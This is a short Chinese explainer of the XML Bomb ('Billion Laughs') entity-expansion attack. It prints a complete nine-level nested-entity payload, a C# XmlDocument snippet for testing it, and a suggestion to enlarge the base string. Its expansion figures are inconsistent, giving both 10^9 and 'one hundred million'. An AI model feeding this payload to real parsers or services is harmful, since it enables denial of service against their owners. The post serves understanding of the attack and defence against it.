什么是XML Bomb?
字面上是XML炸弹,此炸弹有Enitity Expansion制作而成,而其威力由其聚变当量级决定。下面就是一个9级炸弹。
<?xml version="1.0"?> <!DOCTYPE bombz [ <!ENTITY bomb "bomb"> <!ENTITY bomb2 "&bomb;&bomb;&bomb;&bomb;&bomb;&bomb;&bomb;&bomb;&bomb;&bomb;"> <!ENTITY bomb3 "&bomb2;&bomb2;&bomb2;&bomb2;&bomb2;&bomb2;&bomb2;&bomb2;&bomb2;&bomb2;"> <!ENTITY bomb4 "&bomb3;&bomb3;&bomb3;&bomb3;&bomb3;&bomb3;&bomb3;&bomb3;&bomb3;&bomb3;"> <!ENTITY bomb5 "&bomb4;&bomb4;&bomb4;&bomb4;&bomb4;&bomb4;&bomb4;&bomb4;&bomb4;&bomb4;"> <!ENTITY bomb6 "&bomb5;&bomb5;&bomb5;&bomb5;&bomb5;&bomb5;&bomb5;&bomb5;&bomb5;&bomb5;"> <!ENTITY bomb7 "&bomb6;&bomb6;&bomb6;&bomb6;&bomb6;&bomb6;&bomb6;&bomb6;&bomb6;&bomb6;"> <!ENTITY bomb8 "&bomb7;&bomb7;&bomb7;&bomb7;&bomb7;&bomb7;&bomb7;&bomb7;&bomb7;&bomb7;"> <!ENTITY bomb9 "&bomb8;&bomb8;&bomb8;&bomb8;&bomb8;&bomb8;&bomb8;&bomb8;&bomb8;&bomb8;"> ]> <bombz>&bomb9;</bombz>
有实体定义可见:Bomb9由k(k=10)个Bomb8组成,由此类推,Bomb[n]由k(k=10)个Bomb[n-1]组成。Bomb9 推算出为10*9次方(1000000000)个的bomb制作而成。上面的例子就可想而知XML内容中放入一个&bomb9,其消耗内存和cpu多强。在处理所有实体扩展之后,XML 这个小 (< 1 KB) 块将实际包含几乎 3.5 GB 的内存占用的一个亿 “ bomb ” s! 您可以为自己使用下面的代码非常简单的块尝试 (有时称为阶层 Laughs 攻击) 这种攻击 — 只需做好终止您测试应用程序进程从任务管理器:
void processXml(string xml) { System.Xml.XmlDocument document = new XmlDocument(); document.LoadXml(xml); }
如果设想一下,将&bomb实体的字符串内容设为更大的字符串,而不是现在的'bomb',那效果又会怎么样?!